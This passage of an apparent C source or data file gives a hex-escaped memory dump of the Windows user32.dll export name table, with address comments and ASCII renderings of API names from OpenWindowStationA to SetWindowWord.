\"\\x6B\\x74\\x6F\\x70\\x00\\x4F\\x70\\x65\\x6E\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\"   //ktop.OpenWindowS\n/* 7E41B280 */   \"\\x74\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x4F\\x70\\x65\\x6E\\x57\\x69\\x6E\\x64\"   //tationA.OpenWind\n/* 7E41B2A0 */   \"\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\\x6F\\x6E\\x57\\x00\\x50\\x61\\x63\\x6B\\x44\"   //owStationW.PackD\n/* 7E41B2C0 */   \"\\x44\\x45\\x6C\\x50\\x61\\x72\\x61\\x6D\\x00\\x50\\x61\\x69\\x6E\\x74\\x44\\x65\"   //DElParam.PaintDe\n/* 7E41B2E0 */   \"\\x73\\x6B\\x74\\x6F\\x70\\x00\\x50\\x61\\x69\\x6E\\x74\\x4D\\x65\\x6E\\x75\\x42\"   //sktop.PaintMenuB\n/* 7E41B300 */   \"\\x61\\x72\\x00\\x50\\x65\\x65\\x6B\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\"   //ar.PeekMessageA.\n/* 7E41B320 */   \"\\x50\\x65\\x65\\x6B\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x50\\x6F\\x73\"   //PeekMessageW.Pos\n/* 7E41B340 */   \"\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\\x50\\x6F\\x73\\x74\\x4D\\x65\"   //tMessageA.PostMe\n/* 7E41B360 */   \"\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x50\\x6F\\x73\\x74\\x51\\x75\\x69\\x74\\x4D\"   //ssageW.PostQuitM\n/* 7E41B380 */   \"\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x50\\x6F\\x73\\x74\\x54\\x68\\x72\\x65\\x61\"   //essage.PostThrea\n/* 7E41B3A0 */   \"\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\\x50\\x6F\\x73\\x74\\x54\\x68\"   //dMessageA.PostTh\n/* 7E41B3C0 */   \"\\x72\\x65\\x61\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x50\\x72\\x69\"   //readMessageW.Pri\n/* 7E41B3E0 */   \"\\x6E\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x50\\x72\\x69\\x76\\x61\\x74\\x65\"   //ntWindow.Private\n/* 7E41B400 */   \"\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x45\\x78\\x41\\x00\\x50\"   //ExtractIconExA.P\n/* 7E41B420 */   \"\\x72\\x69\\x76\\x61\\x74\\x65\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\"   //rivateExtractIco\n/* 7E41B440 */   \"\\x6E\\x45\\x78\\x57\\x00\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x45\\x78\\x74\\x72\"   //nExW.PrivateExtr\n/* 7E41B460 */   \"\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x73\\x41\\x00\\x50\\x72\\x69\\x76\\x61\\x74\"   //actIconsA.Privat\n/* 7E41B480 */   \"\\x65\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x73\\x57\\x00\\x50\"   //eExtractIconsW.P\n/* 7E41B4A0 */   \"\\x72\\x69\\x76\\x61\\x74\\x65\\x53\\x65\\x74\\x44\\x62\\x67\\x54\\x61\\x67\\x00\"   //rivateSetDbgTag.\n/* 7E41B4C0 */   \"\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x53\\x65\\x74\\x52\\x69\\x70\\x46\\x6C\\x61\"   //PrivateSetRipFla\n/* 7E41B4E0 */   \"\\x67\\x73\\x00\\x50\\x74\\x49\\x6E\\x52\\x65\\x63\\x74\\x00\\x51\\x75\\x65\\x72\"   //gs.PtInRect.Quer\n/* 7E41B500 */   \"\\x79\\x53\\x65\\x6E\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x51\\x75\\x65\"   //ySendMessage.Que\n/* 7E41B520 */   \"\\x72\\x79\\x55\\x73\\x65\\x72\\x43\\x6F\\x75\\x6E\\x74\\x65\\x72\\x73\\x00\\x52\"   //ryUserCounters.R\n/* 7E41B540 */   \"\\x65\\x61\\x6C\\x43\\x68\\x69\\x6C\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x46\\x72\"   //ealChildWindowFr\n/* 7E41B560 */   \"\\x6F\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x00\\x52\\x65\\x61\\x6C\\x47\\x65\\x74\\x57\"   //omPoint.RealGetW\n/* 7E41B580 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x43\\x6C\\x61\\x73\\x73\\x00\\x52\\x65\\x61\\x6C\\x47\"   //indowClass.RealG\n/* 7E41B5A0 */   \"\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x43\\x6C\\x61\\x73\\x73\\x41\\x00\\x52\"   //etWindowClassA.R\n/* 7E41B5C0 */   \"\\x65\\x61\\x6C\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x43\\x6C\\x61\\x73\"   //ealGetWindowClas\n/* 7E41B5E0 */   \"\\x73\\x57\\x00\\x52\\x65\\x61\\x73\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x4E\\x65\\x65\"   //sW.ReasonCodeNee\n/* 7E41B600 */   \"\\x64\\x73\\x42\\x75\\x67\\x49\\x44\\x00\\x52\\x65\\x61\\x73\\x6F\\x6E\\x43\\x6F\"   //dsBugID.ReasonCo\n/* 7E41B620 */   \"\\x64\\x65\\x4E\\x65\\x65\\x64\\x73\\x43\\x6F\\x6D\\x6D\\x65\\x6E\\x74\\x00\\x52\"   //deNeedsComment.R\n/* 7E41B640 */   \"\\x65\\x63\\x6F\\x72\\x64\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x52\\x65\\x61\"   //ecordShutdownRea\n/* 7E41B660 */   \"\\x73\\x6F\\x6E\\x00\\x52\\x65\\x64\\x72\\x61\\x77\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //son.RedrawWindow\n/* 7E41B680 */   \"\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6C\\x61\\x73\\x73\\x41\\x00\"   //.RegisterClassA.\n/* 7E41B6A0 */   \"\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6C\\x61\\x73\\x73\\x45\\x78\\x41\"   //RegisterClassExA\n/* 7E41B6C0 */   \"\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6C\\x61\\x73\\x73\\x45\\x78\"   //.RegisterClassEx\n/* 7E41B6E0 */   \"\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6C\\x61\\x73\\x73\\x57\"   //W.RegisterClassW\n/* 7E41B700 */   \"\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\"   //.RegisterClipboa\n/* 7E41B720 */   \"\\x72\\x64\\x46\\x6F\\x72\\x6D\\x61\\x74\\x41\\x00\\x52\\x65\\x67\\x69\\x73\\x74\"   //rdFormatA.Regist\n/* 7E41B740 */   \"\\x65\\x72\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x46\\x6F\\x72\\x6D\\x61\"   //erClipboardForma\n/* 7E41B760 */   \"\\x74\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x44\\x65\\x76\\x69\\x63\"   //tW.RegisterDevic\n/* 7E41B780 */   \"\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x52\"   //eNotificationA.R\n/* 7E41B7A0 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x44\\x65\\x76\\x69\\x63\\x65\\x4E\\x6F\\x74\"   //egisterDeviceNot\n/* 7E41B7C0 */   \"\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x57\\x00\\x52\\x65\\x67\\x69\\x73\"   //ificationW.Regis\n/* 7E41B7E0 */   \"\\x74\\x65\\x72\\x48\\x6F\\x74\\x4B\\x65\\x79\\x00\\x52\\x65\\x67\\x69\\x73\\x74\"   //terHotKey.Regist\n/* 7E41B800 */   \"\\x65\\x72\\x4C\\x6F\\x67\\x6F\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x52\"   //erLogonProcess.R\n/* 7E41B820 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x50\\x75\"   //egisterMessagePu\n/* 7E41B840 */   \"\\x6D\\x70\\x48\\x6F\\x6F\\x6B\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x52\"   //mpHook.RegisterR\n/* 7E41B860 */   \"\\x61\\x77\\x49\\x6E\\x70\\x75\\x74\\x44\\x65\\x76\\x69\\x63\\x65\\x73\\x00\\x52\"   //awInputDevices.R\n/* 7E41B880 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x73\\x50\"   //egisterServicesP\n/* 7E41B8A0 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\"   //rocess.RegisterS\n/* 7E41B8C0 */   \"\\x68\\x65\\x6C\\x6C\\x48\\x6F\\x6F\\x6B\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x52\"   //hellHookWindow.R\n/* 7E41B8E0 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x68\\x72\"   //egisterSystemThr\n/* 7E41B900 */   \"\\x65\\x61\\x64\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x54\\x61\\x73\\x6B\"   //ead.RegisterTask\n/* 7E41B920 */   \"\\x6C\\x69\\x73\\x74\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x55\\x73\\x65\"   //list.RegisterUse\n/* 7E41B940 */   \"\\x72\\x41\\x70\\x69\\x48\\x6F\\x6F\\x6B\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\"   //rApiHook.Registe\n/* 7E41B960 */   \"\\x72\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\"   //rWindowMessageA.\n/* 7E41B980 */   \"\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4D\\x65\"   //RegisterWindowMe\n/* 7E41B9A0 */   \"\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x43\\x61\"   //ssageW.ReleaseCa\n/* 7E41B9C0 */   \"\\x70\\x74\\x75\\x72\\x65\\x00\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x44\\x43\\x00\"   //pture.ReleaseDC.\n/* 7E41B9E0 */   \"\\x52\\x65\\x6D\\x6F\\x76\\x65\\x4D\\x65\\x6E\\x75\\x00\\x52\\x65\\x6D\\x6F\\x76\"   //RemoveMenu.Remov\n/* 7E41BA00 */   \"\\x65\\x50\\x72\\x6F\\x70\\x41\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x50\\x72\\x6F\"   //ePropA.RemovePro\n/* 7E41BA20 */   \"\\x70\\x57\\x00\\x52\\x65\\x70\\x6C\\x79\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\"   //pW.ReplyMessage.\n/* 7E41BA40 */   \"\\x52\\x65\\x73\\x6F\\x6C\\x76\\x65\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x46\\x6F\"   //ResolveDesktopFo\n/* 7E41BA60 */   \"\\x72\\x57\\x4F\\x57\\x00\\x52\\x65\\x75\\x73\\x65\\x44\\x44\\x45\\x6C\\x50\\x61\"   //rWOW.ReuseDDElPa\n/* 7E41BA80 */   \"\\x72\\x61\\x6D\\x00\\x53\\x63\\x72\\x65\\x65\\x6E\\x54\\x6F\\x43\\x6C\\x69\\x65\"   //ram.ScreenToClie\n/* 7E41BAA0 */   \"\\x6E\\x74\\x00\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x43\\x68\\x69\\x6C\\x64\\x72\\x65\"   //nt.ScrollChildre\n/* 7E41BAC0 */   \"\\x6E\\x00\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x44\\x43\\x00\\x53\\x63\\x72\\x6F\\x6C\"   //n.ScrollDC.Scrol\n/* 7E41BAE0 */   \"\\x6C\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x57\\x69\"   //lWindow.ScrollWi\n/* 7E41BB00 */   \"\\x6E\\x64\\x6F\\x77\\x45\\x78\\x00\\x53\\x65\\x6E\\x64\\x44\\x6C\\x67\\x49\\x74\"   //ndowEx.SendDlgIt\n/* 7E41BB20 */   \"\\x65\\x6D\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\\x53\\x65\\x6E\\x64\\x44\"   //emMessageA.SendD\n/* 7E41BB40 */   \"\\x6C\\x67\\x49\\x74\\x65\\x6D\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x53\"   //lgItemMessageW.S\n/* 7E41BB60 */   \"\\x65\\x6E\\x64\\x49\\x4D\\x45\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x45\\x78\\x41\"   //endIMEMessageExA\n/* 7E41BB80 */   \"\\x00\\x53\\x65\\x6E\\x64\\x49\\x4D\\x45\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x45\"   //.SendIMEMessageE\n/* 7E41BBA0 */   \"\\x78\\x57\\x00\\x53\\x65\\x6E\\x64\\x49\\x6E\\x70\\x75\\x74\\x00\\x53\\x65\\x6E\"   //xW.SendInput.Sen\n/* 7E41BBC0 */   \"\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\\x53\\x65\\x6E\\x64\\x4D\\x65\"   //dMessageA.SendMe\n/* 7E41BBE0 */   \"\\x73\\x73\\x61\\x67\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x41\\x00\\x53\"   //ssageCallbackA.S\n/* 7E41BC00 */   \"\\x65\\x6E\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\"   //endMessageCallba\n/* 7E41BC20 */   \"\\x63\\x6B\\x57\\x00\\x53\\x65\\x6E\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x54\"   //ckW.SendMessageT\n/* 7E41BC40 */   \"\\x69\\x6D\\x65\\x6F\\x75\\x74\\x41\\x00\\x53\\x65\\x6E\\x64\\x4D\\x65\\x73\\x73\"   //imeoutA.SendMess\n/* 7E41BC60 */   \"\\x61\\x67\\x65\\x54\\x69\\x6D\\x65\\x6F\\x75\\x74\\x57\\x00\\x53\\x65\\x6E\\x64\"   //ageTimeoutW.Send\n/* 7E41BC80 */   \"\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x53\\x65\\x6E\\x64\\x4E\\x6F\\x74\"   //MessageW.SendNot\n/* 7E41BCA0 */   \"\\x69\\x66\\x79\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\\x53\\x65\\x6E\\x64\"   //ifyMessageA.Send\n/* 7E41BCC0 */   \"\\x4E\\x6F\\x74\\x69\\x66\\x79\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x53\"   //NotifyMessageW.S\n/* 7E41BCE0 */   \"\\x65\\x74\\x41\\x63\\x74\\x69\\x76\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x53\"   //etActiveWindow.S\n/* 7E41BD00 */   \"\\x65\\x74\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x00\\x53\\x65\\x74\\x43\\x61\\x72\"   //etCapture.SetCar\n/* 7E41BD20 */   \"\\x65\\x74\\x42\\x6C\\x69\\x6E\\x6B\\x54\\x69\\x6D\\x65\\x00\\x53\\x65\\x74\\x43\"   //etBlinkTime.SetC\n/* 7E41BD40 */   \"\\x61\\x72\\x65\\x74\\x50\\x6F\\x73\\x00\\x53\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\"   //aretPos.SetClass\n/* 7E41BD60 */   \"\\x4C\\x6F\\x6E\\x67\\x41\\x00\\x53\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x4C\\x6F\"   //LongA.SetClassLo\n/* 7E41BD80 */   \"\\x6E\\x67\\x57\\x00\\x53\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x57\\x6F\\x72\\x64\"   //ngW.SetClassWord\n/* 7E41BDA0 */   \"\\x00\\x53\\x65\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x44\\x61\\x74\"   //.SetClipboardDat\n/* 7E41BDC0 */   \"\\x61\\x00\\x53\\x65\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x56\\x69\"   //a.SetClipboardVi\n/* 7E41BDE0 */   \"\\x65\\x77\\x65\\x72\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x52\"   //ewer.SetConsoleR\n/* 7E41BE00 */   \"\\x65\\x73\\x65\\x72\\x76\\x65\\x4B\\x65\\x79\\x73\\x00\\x53\\x65\\x74\\x43\\x75\"   //eserveKeys.SetCu\n/* 7E41BE20 */   \"\\x72\\x73\\x6F\\x72\\x00\\x53\\x65\\x74\\x43\\x75\\x72\\x73\\x6F\\x72\\x43\\x6F\"   //rsor.SetCursorCo\n/* 7E41BE40 */   \"\\x6E\\x74\\x65\\x6E\\x74\\x73\\x00\\x53\\x65\\x74\\x43\\x75\\x72\\x73\\x6F\\x72\"   //ntents.SetCursor\n/* 7E41BE60 */   \"\\x50\\x6F\\x73\\x00\\x53\\x65\\x74\\x44\\x65\\x62\\x75\\x67\\x45\\x72\\x72\\x6F\"   //Pos.SetDebugErro\n/* 7E41BE80 */   \"\\x72\\x4C\\x65\\x76\\x65\\x6C\\x00\\x53\\x65\\x74\\x44\\x65\\x73\\x6B\\x57\\x61\"   //rLevel.SetDeskWa\n/* 7E41BEA0 */   \"\\x6C\\x6C\\x70\\x61\\x70\\x65\\x72\\x00\\x53\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\"   //llpaper.SetDlgIt\n/* 7E41BEC0 */   \"\\x65\\x6D\\x49\\x6E\\x74\\x00\\x53\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\\x65\\x6D\"   //emInt.SetDlgItem\n/* 7E41BEE0 */   \"\\x54\\x65\\x78\\x74\\x41\\x00\\x53\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\\x65\\x6D\"   //TextA.SetDlgItem\n/* 7E41BF00 */   \"\\x54\\x65\\x78\\x74\\x57\\x00\\x53\\x65\\x74\\x44\\x6F\\x75\\x62\\x6C\\x65\\x43\"   //TextW.SetDoubleC\n/* 7E41BF20 */   \"\\x6C\\x69\\x63\\x6B\\x54\\x69\\x6D\\x65\\x00\\x53\\x65\\x74\\x46\\x6F\\x63\\x75\"   //lickTime.SetFocu\n/* 7E41BF40 */   \"\\x73\\x00\\x53\\x65\\x74\\x46\\x6F\\x72\\x65\\x67\\x72\\x6F\\x75\\x6E\\x64\\x57\"   //s.SetForegroundW\n/* 7E41BF60 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x00\\x53\\x65\\x74\\x49\\x6E\\x74\\x65\\x72\\x6E\\x61\"   //indow.SetInterna\n/* 7E41BF80 */   \"\\x6C\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6F\\x73\\x00\\x53\\x65\\x74\\x4B\\x65\"   //lWindowPos.SetKe\n/* 7E41BFA0 */   \"\\x79\\x62\\x6F\\x61\\x72\\x64\\x53\\x74\\x61\\x74\\x65\\x00\\x53\\x65\\x74\\x4C\"   //yboardState.SetL\n/* 7E41BFC0 */   \"\\x61\\x73\\x74\\x45\\x72\\x72\\x6F\\x72\\x45\\x78\\x00\\x53\\x65\\x74\\x4C\\x61\"   //astErrorEx.SetLa\n/* 7E41BFE0 */   \"\\x79\\x65\\x72\\x65\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x41\\x74\\x74\\x72\\x69\"   //yeredWindowAttri\n/* 7E41C000 */   \"\\x62\\x75\\x74\\x65\\x73\\x00\\x53\\x65\\x74\\x4C\\x6F\\x67\\x6F\\x6E\\x4E\\x6F\"   //butes.SetLogonNo\n/* 7E41C020 */   \"\\x74\\x69\\x66\\x79\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x53\\x65\\x74\\x4D\\x65\"   //tifyWindow.SetMe\n/* 7E41C040 */   \"\\x6E\\x75\\x00\\x53\\x65\\x74\\x4D\\x65\\x6E\\x75\\x43\\x6F\\x6E\\x74\\x65\\x78\"   //nu.SetMenuContex\n/* 7E41C060 */   \"\\x74\\x48\\x65\\x6C\\x70\\x49\\x64\\x00\\x53\\x65\\x74\\x4D\\x65\\x6E\\x75\\x44\"   //tHelpId.SetMenuD\n/* 7E41C080 */   \"\\x65\\x66\\x61\\x75\\x6C\\x74\\x49\\x74\\x65\\x6D\\x00\\x53\\x65\\x74\\x4D\\x65\"   //efaultItem.SetMe\n/* 7E41C0A0 */   \"\\x6E\\x75\\x49\\x6E\\x66\\x6F\\x00\\x53\\x65\\x74\\x4D\\x65\\x6E\\x75\\x49\\x74\"   //nuInfo.SetMenuIt\n/* 7E41C0C0 */   \"\\x65\\x6D\\x42\\x69\\x74\\x6D\\x61\\x70\\x73\\x00\\x53\\x65\\x74\\x4D\\x65\\x6E\"   //emBitmaps.SetMen\n/* 7E41C0E0 */   \"\\x75\\x49\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\\x41\\x00\\x53\\x65\\x74\\x4D\\x65\"   //uItemInfoA.SetMe\n/* 7E41C100 */   \"\\x6E\\x75\\x49\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\\x57\\x00\\x53\\x65\\x74\\x4D\"   //nuItemInfoW.SetM\n/* 7E41C120 */   \"\\x65\\x73\\x73\\x61\\x67\\x65\\x45\\x78\\x74\\x72\\x61\\x49\\x6E\\x66\\x6F\\x00\"   //essageExtraInfo.\n/* 7E41C140 */   \"\\x53\\x65\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x51\\x75\\x65\\x75\\x65\\x00\"   //SetMessageQueue.\n/* 7E41C160 */   \"\\x53\\x65\\x74\\x50\\x61\\x72\\x65\\x6E\\x74\\x00\\x53\\x65\\x74\\x50\\x72\\x6F\"   //SetParent.SetPro\n/* 7E41C180 */   \"\\x63\\x65\\x73\\x73\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x61\\x79\\x6F\\x75\"   //cessDefaultLayou\n/* 7E41C1A0 */   \"\\x74\\x00\\x53\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x57\\x69\\x6E\\x64\"   //t.SetProcessWind\n/* 7E41C1C0 */   \"\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\\x50\\x72\\x6F\"   //owStation.SetPro\n/* 7E41C1E0 */   \"\\x67\\x6D\\x61\\x6E\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x53\\x65\\x74\\x50\\x72\"   //gmanWindow.SetPr\n/* 7E41C200 */   \"\\x6F\\x70\\x41\\x00\\x53\\x65\\x74\\x50\\x72\\x6F\\x70\\x57\\x00\\x53\\x65\\x74\"   //opA.SetPropW.Set\n/* 7E41C220 */   \"\\x52\\x65\\x63\\x74\\x00\\x53\\x65\\x74\\x52\\x65\\x63\\x74\\x45\\x6D\\x70\\x74\"   //Rect.SetRectEmpt\n/* 7E41C240 */   \"\\x79\\x00\\x53\\x65\\x74\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x49\\x6E\\x66\\x6F\\x00\"   //y.SetScrollInfo.\n/* 7E41C260 */   \"\\x53\\x65\\x74\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x50\\x6F\\x73\\x00\\x53\\x65\\x74\"   //SetScrollPos.Set\n/* 7E41C280 */   \"\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x52\\x61\\x6E\\x67\\x65\\x00\\x53\\x65\\x74\\x53\"   //ScrollRange.SetS\n/* 7E41C2A0 */   \"\\x68\\x65\\x6C\\x6C\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x53\\x65\\x74\\x53\\x68\"   //hellWindow.SetSh\n/* 7E41C2C0 */   \"\\x65\\x6C\\x6C\\x57\\x69\\x6E\\x64\\x6F\\x77\\x45\\x78\\x00\\x53\\x65\\x74\\x53\"   //ellWindowEx.SetS\n/* 7E41C2E0 */   \"\\x79\\x73\\x43\\x6F\\x6C\\x6F\\x72\\x73\\x00\\x53\\x65\\x74\\x53\\x79\\x73\\x43\"   //ysColors.SetSysC\n/* 7E41C300 */   \"\\x6F\\x6C\\x6F\\x72\\x73\\x54\\x65\\x6D\\x70\\x00\\x53\\x65\\x74\\x53\\x79\\x73\"   //olorsTemp.SetSys\n/* 7E41C320 */   \"\\x74\\x65\\x6D\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x53\\x65\\x74\\x53\\x79\\x73\"   //temCursor.SetSys\n/* 7E41C340 */   \"\\x74\\x65\\x6D\\x4D\\x65\\x6E\\x75\\x00\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\"   //temMenu.SetSyste\n/* 7E41C360 */   \"\\x6D\\x54\\x69\\x6D\\x65\\x72\\x00\\x53\\x65\\x74\\x54\\x61\\x73\\x6B\\x6D\\x61\"   //mTimer.SetTaskma\n/* 7E41C380 */   \"\\x6E\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\"   //nWindow.SetThrea\n/* 7E41C3A0 */   \"\\x64\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x00\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\"   //dDesktop.SetTime\n/* 7E41C3C0 */   \"\\x72\\x00\\x53\\x65\\x74\\x55\\x73\\x65\\x72\\x4F\\x62\\x6A\\x65\\x63\\x74\\x49\"   //r.SetUserObjectI\n/* 7E41C3E0 */   \"\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x53\\x65\\x74\\x55\"   //nformationA.SetU\n/* 7E41C400 */   \"\\x73\\x65\\x72\\x4F\\x62\\x6A\\x65\\x63\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //serObjectInforma\n/* 7E41C420 */   \"\\x74\\x69\\x6F\\x6E\\x57\\x00\\x53\\x65\\x74\\x55\\x73\\x65\\x72\\x4F\\x62\\x6A\"   //tionW.SetUserObj\n/* 7E41C440 */   \"\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x57\"   //ectSecurity.SetW\n/* 7E41C460 */   \"\\x69\\x6E\\x45\\x76\\x65\\x6E\\x74\\x48\\x6F\\x6F\\x6B\\x00\\x53\\x65\\x74\\x57\"   //inEventHook.SetW\n/* 7E41C480 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x48\\x65\\x6C\\x70\"   //indowContextHelp\n/* 7E41C4A0 */   \"\\x49\\x64\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4C\\x6F\\x6E\\x67\"   //Id.SetWindowLong\n/* 7E41C4C0 */   \"\\x41\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4C\\x6F\\x6E\\x67\\x57\"   //A.SetWindowLongW\n/* 7E41C4E0 */   \"\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6C\\x61\\x63\\x65\\x6D\"   //.SetWindowPlacem\n/* 7E41C500 */   \"\\x65\\x6E\\x74\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6F\\x73\"   //ent.SetWindowPos\n/* 7E41C520 */   \"\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x52\\x67\\x6E\\x00\\x53\\x65\"   //.SetWindowRgn.Se\n/* 7E41C540 */   \"\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\\x6F\\x6E\\x55\\x73\"   //tWindowStationUs\n/* 7E41C560 */   \"\\x65\\x72\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\\x65\\x78\\x74\"   //er.SetWindowText\n/* 7E41C580 */   \"\\x41\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\\x65\\x78\\x74\\x57\"   //A.SetWindowTextW\n/* 7E41C5A0 */   \"\\x00\\x53\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x57\\x6F\\x72\\x64\\x00\\x53\"   //.SetWindowWord.S\n/* 